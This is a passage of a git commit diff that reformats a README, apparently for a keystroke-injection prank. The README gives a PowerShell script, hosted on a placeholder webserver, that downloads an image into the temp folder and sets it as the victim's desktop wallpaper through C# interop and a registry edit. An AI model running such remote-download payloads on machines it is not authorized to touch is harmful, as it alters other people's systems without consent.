Re-structure-text - pasting crapped it up..
This commit is contained in:
parent
e00f28c11d
commit
8f92c12660
|
@ -11,7 +11,8 @@ ENTER
|
|||
|
||||
The Powershell script on your webserver (http://your-website.com/powershellscript.ps):
|
||||
---------------------------------------------------------------------
|
||||
(new-object System.Net.WebClient).DownloadFile('http://your-website.com/mylittlepony.jpg',"$Env:Temp\b.jpg");
|
||||
|
||||
(new-object System.Net.WebClient).DownloadFile('http://your-website.com/mylittlepony.jpg',"$Env:Temp\\b.jpg");
|
||||
|
||||
Add-Type @"
|
||||
|
||||
|
@ -47,7 +48,7 @@ namespace Wallpaper
|
|||
|
||||
SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
|
||||
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\\\Desktop", true);
|
||||
|
||||
switch( style )
|
||||
|
||||
|
|
Loading…
Reference in New Issue